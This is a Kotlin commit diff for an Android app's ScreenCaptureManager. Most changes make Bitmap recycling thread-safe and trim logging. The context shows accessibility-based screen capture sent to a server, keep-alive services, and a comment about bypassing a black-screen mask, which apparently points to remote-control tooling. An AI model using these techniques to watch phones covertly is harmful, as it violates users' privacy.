refactor: 清理 .gradle 缓存文件并优化 ScreenCaptureManager
- 删除 .gradle 缓存和锁文件（checksums, executionHistory, fileHashes 等） - 优化 ScreenCaptureManager 截屏逻辑 - 移除 MainActivity, TransparentKeepAliveActivity 中的冗余代码 - 清理多个 KeepAlive 相关服务中的无用导入 - 精简 InstallationStateManager 代码
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wdvipa
@@ -29,7 +29,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
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private const val CAPTURE_QUALITY = 55 // 🎯 优化：提升压缩质量，在数据量和画质间找到最佳平衡(30->55)
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private const val MAX_WIDTH = 480 // 更小宽度480px，测试单消息大小理论
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private const val MAX_HEIGHT = 854 // 更小高度854px，保持16:9比例
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private const val MIN_CAPTURE_INTERVAL = 66L // ✅ 调整为66ms，适配15FPS（1000ms/15fps≈66ms）
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private const val MIN_CAPTURE_INTERVAL = 3000L // ✅ 调整为3000ms，无障碍服务截图间隔3秒
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// ✅ 持久化暂停状态相关常量
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private const val PAUSE_STATE_PREF = "screen_capture_pause_state"
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@@ -135,6 +135,41 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
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Log.i(TAG, "屏幕尺寸: ${screenWidth}x${screenHeight}")
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}
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/**
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* ✅ 安全回收lastValidBitmap，防止多线程并发导致的native crash (SIGSEGV)
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*
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* 问题根因：多个协程（startMediaProjectionCapture、startAccessibilityScreenCapture、
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* captureWithMediaProjection等）并发访问lastValidBitmap，可能导致：
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* 1. double-recycle：Bitmap已被其他线程recycle但引用未置null
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* 2. Hardware Bitmap的底层HardwareBuffer已被释放
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* 两种情况都会在native层BitmapWrapper::freePixels()触发SIGSEGV
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*/
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private fun safeRecycleLastValidBitmap() {
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val bitmapToRecycle = lastValidBitmap
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lastValidBitmap = null // 先置null，防止其他线程访问
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try {
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if (bitmapToRecycle != null && !bitmapToRecycle.isRecycled) {
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bitmapToRecycle.recycle()
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}
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} catch (e: Exception) {
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// 捕获所有异常，包括可能的native异常包装
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Log.w(TAG, "回收缓存Bitmap异常（可能已被其他线程回收）: ${e.message}")
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}
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}
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/**
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* ✅ 安全回收任意Bitmap，防止native crash
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*/
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private fun safeRecycleBitmap(bitmap: Bitmap?) {
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try {
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if (bitmap != null && !bitmap.isRecycled) {
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bitmap.recycle()
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}
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} catch (e: Exception) {
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Log.w(TAG, "回收Bitmap异常: ${e.message}")
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}
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}
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/**
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* 🔑 启用AccessibilityService截图模式
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* 用于绕过黑屏遮罩，让Web端能够正常显示画面
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@@ -378,7 +413,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
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// ✅ 有效帧：发送并更新缓存
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sendFrameToServer(jpegData)
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lastValidBitmap?.recycle()
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safeRecycleLastValidBitmap()
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lastValidBitmap = bitmap.copy(Bitmap.Config.ARGB_8888, false)
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lastValidBitmap?.let { trackBitmap(it) }
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lastCaptureTime = System.currentTimeMillis()
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@@ -535,7 +570,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
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// 🔑 缓存成功的截图，用于防止闪烁
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try {
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// 清理旧的缓存
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lastValidBitmap?.recycle()
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safeRecycleLastValidBitmap()
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// 保存当前成功的截图副本
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lastValidBitmap = screenshot.copy(screenshot.config ?: Bitmap.Config.ARGB_8888, false)
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lastCaptureTime = System.currentTimeMillis()
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@@ -559,7 +594,9 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
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// ❌ 真实截图失败，不发送任何数据，等待下一次截图
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// 之前发送测试图像会被服务端过滤且占用发送队列，得不偿失
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consecutiveFailures++
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Log.d(TAG, "📱 无障碍截图失败(${consecutiveFailures}次)，跳过本帧等待下次")
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if (consecutiveFailures % 50 == 1) {
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Log.d(TAG, "📱 无障碍截图失败(${consecutiveFailures}次)，跳过本帧等待下次")
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}
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}
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// ✅ 截图成功时按帧率延迟，失败时短延迟后立即重试
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@@ -652,7 +689,6 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
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// 🔑 如果已切换到无障碍截图模式，直接使用无障碍截图，不再尝试 MediaProjection
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if (useAccessibilityScreenshot) {
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if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
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Log.d(TAG, "🔑 无障碍截图模式，直接使用 AccessibilityService 截图")
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return captureWithAccessibilityService()
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}
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return null
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@@ -685,7 +721,6 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
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val timeSinceLastScreenshot = currentTime - lastScreenshotTime
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if (timeSinceLastScreenshot < MIN_CAPTURE_INTERVAL) {
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Log.d(TAG, "📱 截图间隔太短，跳过本次截图: ${timeSinceLastScreenshot}ms < ${MIN_CAPTURE_INTERVAL}ms")
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return null
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}
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@@ -924,7 +959,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
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}
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// 更新缓存
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lastValidBitmap?.recycle()
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safeRecycleLastValidBitmap()
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lastValidBitmap = newBitmap.copy(Bitmap.Config.ARGB_8888, false)
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// 🔧 跟踪缓存的Bitmap副本
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lastValidBitmap?.let { trackBitmap(it) }
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@@ -962,8 +997,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
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return lastValidBitmap!!.copy(Bitmap.Config.ARGB_8888, false)
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} else {
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Log.w(TAG, "缓存图像过期 (${timeSinceLastCapture}ms前)，清理缓存")
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lastValidBitmap?.recycle()
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lastValidBitmap = null
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safeRecycleLastValidBitmap()
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}
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}
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@@ -1002,7 +1036,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
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val retryBitmap = convertImageToBitmap(retryImage)
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if (retryBitmap != null) {
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Log.i(TAG, "✅ Android 15重新初始化后成功获取图像")
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lastValidBitmap?.recycle()
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safeRecycleLastValidBitmap()
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lastValidBitmap = retryBitmap.copy(Bitmap.Config.ARGB_8888, false)
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lastCaptureTime = System.currentTimeMillis()
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return retryBitmap
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@@ -1775,8 +1809,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
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Log.w(TAG, "🗑️ 清空屏幕数据队列，释放${queueSize}帧数据")
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// 2. 清理缓存的图像
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lastValidBitmap?.recycle()
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lastValidBitmap = null
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safeRecycleLastValidBitmap()
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Log.w(TAG, "🗑️ 清理缓存图像")
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// 3. 强制回收弱引用中的资源
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@@ -2147,9 +2180,8 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
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imageReader?.close()
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imageReader = null
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// 清理缓存的图像
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lastValidBitmap?.recycle()
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lastValidBitmap = null
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// ✅ 安全清理缓存的Bitmap，防止多线程并发导致native crash (SIGSEGV)
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safeRecycleLastValidBitmap()
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lastCaptureTime = 0L
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Log.i(TAG, "VirtualDisplay和ImageReader已清理，MediaProjection权限保留")
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@@ -2445,7 +2477,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
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Log.i(TAG, "✅ Android 15强制刷新成功：${bitmap.width}x${bitmap.height}")
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// 更新缓存
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lastValidBitmap?.recycle()
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safeRecycleLastValidBitmap()
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lastValidBitmap = bitmap.copy(Bitmap.Config.ARGB_8888, false)
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lastCaptureTime = System.currentTimeMillis()
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